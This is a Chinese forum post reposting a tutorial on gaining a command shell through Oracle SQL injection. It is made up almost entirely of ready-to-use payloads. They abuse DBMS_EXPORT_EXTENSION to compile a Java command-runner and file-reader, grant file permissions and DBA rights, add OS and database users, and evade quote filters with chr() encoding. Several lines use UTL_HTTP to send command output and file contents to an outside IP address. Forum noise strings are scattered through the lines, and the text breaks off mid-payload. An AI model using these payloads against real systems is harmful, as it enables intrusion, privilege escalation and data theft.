找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1970|回复: 0
打印 上一主题 下一主题

犀利的 oracle 注入技术

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:49:51 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

- {8 ^0 z5 g& B3 T6 C  C( e
$ h1 ^2 X3 q/ \介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。; m$ U; x1 L; H! a# S) K, i
8 l* c: c4 V! Y8 A
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成! U# z: q& v4 j2 J: B3 a5 O

6 N" s5 m7 ^+ M1 n$ g/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....): u. l, F- m9 \1 M

4 [; K8 |2 H  T& O1 W的形式即可。(用" 'a'|| "是为了让语句返回true值)
" L4 {: z9 n: g' v4 C' [% l* G
  k5 I5 @1 j3 y语句有点长,可能要用post提交。% F- _4 Q1 ~8 l, b0 \

  O# @( h3 h, s- k
7 i, H# v9 [. c7 A3 k
: ]  B. A# Y) o以下是各个步骤:. f9 E8 o& o, M8 }, T' e

) }' f5 w; \& K% R# \5 j$ N1.创建包, a" X+ }) D1 U6 c( s
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
+ @0 ^# O2 ^# n2 j7 p- P; I* o. d6 n* a" A: g9 v( F5 x: Y
/xxx.jsp?id=1 and '1'<>'a'||(3 R8 d& o- t/ u" v. H; g4 u/ u" q% d% x

  N; z1 r1 r( ^select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ ^  P: n. Q( F) mcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(" w' k1 D1 O% c. d9 x6 S
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
' w1 _! g& I( Y) V# N}'''';END;'';END;--','SYS',0,'1',0) from dual
* r) Z2 ^1 D; p! s1 N# J; C9 D. u3 J2 M7 J. |7 I* `# m" @
)
. Q; Y  U0 D. F0 P
1 N, G9 w4 A. O( ?: D------------------------$ D* V$ \+ l" t! T
如果url有长度限制,可以把readFile()函数块去掉,即:4 L$ m4 v. i+ @
/xxx.jsp?id=1 and '1'<>'a'||(
3 S0 z4 ]% G; n( a1 ^; m4 F# x( [. l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ \# q  d! v6 O
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(, p/ g. a( w! C3 a$ g% Y: ?
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}7 v; L( N5 B& m0 k. c' g
}'''';END;'';END;--','SYS',0,'1',0) from dual$ j  w3 D5 m' E1 p) A

( B9 y4 q: Z5 K' [4 e- _4 o+ Q/ G/ K)( w  b4 {- Y8 j- C) K6 b; y- ]

: _) _) r1 Y" s8 v7 Y/ `1 @同时把后面步骤 提到的 对readFile()的处理语句去掉。- p0 x: v* E1 ^% m2 |7 f
------------------------------
# T9 B$ A" M9 G$ x! t' d' F6 Q/ N2 s4 f3 s2 D
2.赋Java权限1 B9 @2 _+ L  ?
* |- H' `6 ?3 I
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual: ~) z/ b; r5 H& r" K
- d# }; v0 M) a; H/ ?6 e
/ s& k& j* q$ e' w( x: m9 Y) I1 }

0 q- C/ @1 ~$ A3.创建函数
5 ~1 K' X3 d4 H! t$ t" O! S) |5 T* d) l( }& x
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
: p  T' E" y& D% M6 g# D2 screate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual. C' T- o% \" ]# N

* p) E/ H8 S* o+ `( M+ Vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
. M$ x8 }$ d# v/ @& r& O4 B9 o1 Mcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual% m/ V4 l: O+ F0 h7 o! ^5 G1 W
. [; E# }/ G. e! j; V
4.赋public执行函数的权限' K' {! m% ]$ a$ T5 [% }

, G! F6 z- O' e. R; Aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
4 @# `0 ^. V& ~: ^6 N' ?- P7 E  g! G
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
! D8 m* U4 Y, A! {* \9 F+ K5 ?4 u* ?2 V' T1 [" y* Q5 k

: j5 g; S/ J! L$ {  G' }* m: ?% {$ E
5.测试上面的几步是否成功
8 Q' \% L0 @# `; l3 F, l: D( a6 [: h7 X4 q* ]6 O! Z6 f
and '1'<>'11'||(
3 o. G) x5 M/ g- ?, c# [" cselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD', k7 E/ p( }- P" t+ w- c
)7 q  n( a" d' V0 F

' F$ S& F- n+ o1 _6 ^" y; Land '1'<>(0 d5 q9 S% o/ e$ o
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
. O6 ?7 N+ _- g! `: c)
. v+ A& b4 [8 ?7 c- {: p, i. [% }" m- b4 f
6.执行命令:* Z7 J* B9 I+ P$ l
8 r% ~' M# f- Y# z  d
/xxx.jsp?id=1 and '1'<>(2 @3 d0 w6 k4 `2 J* c
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
3 A# @! G; d& e) [)
; W  w' P1 v9 S% s7 i4 ~% c3 l' W3 ^  o; c5 \1 N4 ^0 j0 {
/xxx.jsp?id=1 and '1'<>(6 i& L& ]$ w. A1 r2 \: n3 R
select sys.LinxReadFile('c:/boot.ini') from dual* a3 l1 _5 M( e9 i6 C: N) X& A
)( ], |  K4 g  ~! y! J

7 K" V5 z# r7 G注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。4 S/ `& A6 G* T* v9 }- O& G7 a
如果要查看运行结果可以用 union :
. {; @7 G" S9 `/ u7 s1 f% l2 N  A, K7 U2 v) m% |
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
) N9 u* t" u" M; C$ D* E: q6 H9 C0 S' d& C+ j; w6 u5 ^9 w, T& ?
或者UTL_HTTP.request(:6 e6 F6 g3 i- n9 d! @4 P

) Q' Q7 x9 }* Q+ r* t. V2 p/xxx.jsp?id=1 and '1'<>(
* Z" W; S3 n! n  y% p, `SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
9 U% Z% h( ?- Y1 B0 |* A% n), G3 ~& D0 I5 N; E, d

4 G" a* S" I, D" ?0 B' j/xxx.jsp?id=1 and '1'<>(4 m4 o! S0 k4 @
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
7 ?/ K  c* w5 T- y( O)
1 B* e& _; o. m! j4 X' c) k$ Q, A( a; T$ j7 ^( J! f
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
# Y/ R- i/ k6 g0 n5 Z
' n8 V0 S  D1 k
9 A* {/ D0 |$ G- P+ K& t: V7 N0 ?, N. B" n+ z+ A) Z

9 _: p% o  k$ p# X+ q3 N
6 s1 Q9 \! K$ K& D  |4 a" }--------------------
9 r/ Q: j2 I6 P6 d) G5 S4 t# U
+ l' L# `, Q& J' C6.内部变化) v; ~9 m% b9 q. Z' f7 h! a8 k
通过以下命令可以查看all_objects表达改变:: o9 L9 A7 i+ u& b; g
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%': t+ L$ Y6 J+ ?# u
' y6 x8 x" @7 j2 }8 H. ^7 m
7.删除我们创建的函数
. f' V$ I1 p% `4 G) ^! wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% J" N; f) {2 _6 t4 d$ W9 e) U
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
( h; V/ \% l3 [3 h# }2 P1 ?4 H% n$ V
5 h4 V/ O& P, P2 u* b  }! O/ ?) H4 `! F

+ K  G' ?5 d( l1 h( ]" [; v- t+ |( m* f, R# n

3 B* F5 ?+ v1 g  n====================================================9 |8 o% ~9 x6 Z1 e# k
全文结束。谨以此文赠与我的朋友。
( k# z5 X3 E$ d8 D" w7 ^
! ^, z# d% N+ wlinx# a7 O3 h% y2 ]& [4 S9 n
124829445$ z0 G' t3 X- F# ]/ P6 N
2008.1.12$ t  O: N+ v5 E) D1 B( H
linyujian@bjfu.edu.cn
0 I0 {1 \" C* K) W7 G/ K  `5 d' v) u2 `+ j
2 T. R  M* q* c; V4 m: i- {, M
' G5 O$ U: D' c! v7 S
8 v  H; J* t  u: m1 S- c, p' Z
9 P0 w" C) s4 ~0 j- _
======================================================================, q( G% T# [3 ?- j
4 N8 A/ d2 l5 B+ t
测试漏洞的另一方法:4 F7 ?5 ~' o" M# N8 z7 U
4 C/ E9 {% {) ^
创建oracle帐号:
# W3 w* c. E, V' T" Xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 I1 X# E$ O! rCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
" F$ _! f' u6 Y" [' |' K" s( ^$ Y7 z3 ~6 e
即:
+ e+ K* B. N/ v4 z3 Eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82)," v- y' ]# q- s5 [: m* M" b: |+ k
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual" {8 [( E4 ]( E9 e

9 l4 X4 v0 Y9 o' P& s8 |确定漏洞存在:
5 Z  N5 G: v7 |* v' h1<>(
$ j5 m5 E7 H' z8 O5 H# K& \! nselect user_id from all_users where username='LINXSQL'
% Z5 g. G! o3 I6 F3 {/ `- m/ j9 T)1 \1 `* G* F2 X5 ?- {
) {8 r8 t' y# A
给linxsql连接权限:
' ^% K2 V- k1 gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
/ i- y! R3 g" y4 dGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
7 e  V0 j, `, ]7 f, k8 m
- G5 p3 s( W( p删除帐号:8 a* H" _* I: a9 Y+ Z8 e8 S! U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% [) o" ~) L5 b" Xdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
- Z# }0 I# u; g6 o, x( B- V; X" S- t0 Z, U: Q; D1 d# J# s
======================9 j, ?# V2 i4 W$ P

; s' A! m' f5 e9 g以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
7 R7 G3 k; ]+ s7 @! K* F" \1 M: i1 {0 q8 u3 j3 ^+ q
1.jsp?id=1 and '1'<>(7 k5 U. i- g9 a, M
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ I/ y( `; l$ x* ncreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
/ \' O/ t' g8 M; t0 P; ]) and ..." E8 T3 o  J+ R, _

' ]7 o) s5 O7 F  H3 \4 E, C1.jsp?id=1 and '1'<>(
% G4 i9 j- L/ P; tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
; [2 {' e! |# f4 l) x) F) and ...
; o/ I9 J! k/ B" j; |, K6 d* Q( o: n& ~- z5 T  l8 v4 S
1.jsp?id=1 and '1'<>(5 Y; k% _2 a: ?' i: B
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
; p) \3 w9 l& k5 q. [6 \) and ...9 y% F, K. W% a; p( H6 @0 b' a# M4 }
' |! a4 a0 j* v/ d* p. f% _# E3 x

. [+ I1 c6 g% ]; t0 ]/ o  z0 I8 ^; c* r( \* s3 X& v  f1 N
1.jsp?id=1 and '1'<>(
- Y) S8 Y7 B) e3 I" z; m9 OSELECT sys.Linx_Query('declare pragma
! B, u1 Q5 q& Z, Cautonomous_transaction; begin execute immediate ''1 l# E7 U+ j- g% c. ~7 H
select 1 from dual7 j6 N# Q8 S" F5 A
''; commit; end;') from dual9 x* t: k, ^+ D4 ~
) and ...: B) T; G/ d3 l( Q, [

2 v; F* R8 U* a% U/ O多语句:& z% F# G$ ^0 [' C
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual6 A( P) `6 Q) Z& r. `4 \# Q6 U

. n* t/ n9 l1 Z创建用户(除非当前用户有system权限,否则无法成功):
: u/ j+ a/ d1 O) i( |SELECT sys.Linx_Query('declare pragma1 J7 h4 i3 s4 J  Q; h% f
autonomous_transaction; begin execute immediate ''9 l5 O1 S1 T9 p# W* r" A
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User# p! s& S4 R, ^, H  q
''; commit; end;') from dual+ g$ G' [5 C- a1 F7 x6 K; q

% E, m7 O  A4 ~& }9 k, [% P
1 C- x( q, w* w, F* m7 b# Y. g, G& k6 u# [2 x* s* D
8 ~8 L* d$ k: `4 U9 U% V7 q
/ t. N) \& l1 D9 B" d
================
# O/ O* W7 C7 x- b以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
2 e$ K4 r/ k" f: \- }! L' a% ^
0 ~2 {) d6 w$ B2 k+ x1.创建函数) A. o: O3 M7 Z( F" z% X
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ j6 o& F* F  w" d& q( icreate or replace function Linx_Query (p% a/ q# Q2 N; r. i. h
varchar2) return number authid current_user is begin execute immediate4 E, h* e9 D/ d# I. f" y& z& h
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
6 S( r) p% U; C! s
5 C9 ?$ p4 m7 \6 L1 Q0 c如果有权限,以下语句应该允许正常
  A# ~3 h! G6 Z/ y% Fselect sys.linx_query('select 1 from dual') from dual;
& i" J5 ~; K5 V% M# a/ w
2 d7 E% Y  p5 V/ i7 x  w不然的话运行:, K& c( L4 o) f+ ^- E( h
# J) r- |( [' b: Y% \4 N, a- c  w
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''" H7 U; V6 S9 u8 r4 T
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual4 H, S+ r. f; K- s' i
! H4 Q9 a. K5 S8 X7 w/ |
% h6 V% N! `) {7 n. e7 b9 Z

9 E. \. x9 K7 Q  P' A2.创建包8 Q" |' ]2 T4 i: m2 b3 P# m
SELECT sys.Linx_Query('declare pragma
9 j4 N0 J0 t2 l* Q+ Z* a0 v" Sautonomous_transaction; begin execute immediate ''* k, H" y4 x; b0 S" O
create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
6 S  E6 l8 I" ]. h# {, qnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual/ n' J5 i" j8 P. {2 p

- o  O* }2 P; s4 W. Y1 ?2 i3.创建函数3 T& X/ l. m" E
SELECT sys.Linx_Query('declare pragma
: F9 X! \1 ?8 X( H% Kautonomous_transaction; begin execute immediate ''0 [( R$ C6 `$ \1 J* k- n! M
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
! V3 ~$ \$ Q% H) ^( \6 {, D6 C, U# k- D5 r/ J& y1 H
4.给权限% [1 g, H% s8 C/ W9 q3 {% r
给用户SYSTEM执行权限:; ?8 b/ g% n% t3 C

: ?3 T1 t7 i1 z& c: ~2 TSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual3 B( `8 D3 h4 I) T9 A4 ]& l

4 O- L6 f8 C9 P7 j% {2 u
' l4 v( n% C' Y$ t; x" a3 K4 J$ b2 \; ~8 K3 j! a
5.执行函数& D) y- z! d. M/ `* V( Y0 J' a
select RunCMD2('cmd /c dir') from dual, L% p# H. b! i, r

& o! o, e, o- N
  B" }4 q" d! o) Y2 t' o2 k# _
$ Q$ c7 m, r+ O( {" @# X9 z
0 V1 F3 k& m. Y; |1 C, N% ?9 w1 G. O! T( P0 m- P
==================% `5 G/ P' _3 r& ~. b0 y. Y7 J8 ~% v
================================. i7 l3 s! y: k' _8 _/ V7 E# {

; {  {/ ?; H% c1 s- Y* a* A0 S9 r以下是无 " ' " 版:
- o) @1 }3 F  x$ J1 u# g7 G
' B% e7 e! B: x6 T' Z! ]以下是各个步骤:
) ^" B' ?, l/ m( r
' E$ I9 c/ s) |" S  i% j$ Q5 V/ O1.创建包
2 O( H+ S7 _5 x; j7 A! s$ ?/ S* K3 F通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
, ~8 @# {& d5 N+ f& I因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:  X/ c# y- }! f) A5 [
+ H# r( U! O7 y+ i
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
& B+ }4 R& k* h  A* X$ W' R( \9 x# N
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
9 w# O! }4 H( T: nchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
  A+ |9 R* r* z; ]3 _; q9 wchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||2 V( M4 W) {; P
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||: ~! [9 F4 A* z! r
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||4 A2 @+ I0 x" F& l- ]
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||3 z5 b7 P( |0 h6 M* I% m
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
1 @/ y6 S7 E& Q1 S' \- H9 ~+ l, ochr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
2 U. I7 _$ J( Kchr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||9 E  F1 A3 n  ?' [( x' E- {! u
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||! l. D! s) d. O8 N0 k
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
1 K" k8 B' E6 d* |chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
% C- C/ l+ g  z2 f3 U1 B4 j3 l3 ]' qchr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||9 M, W( J  }$ L5 V" B% l7 `
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
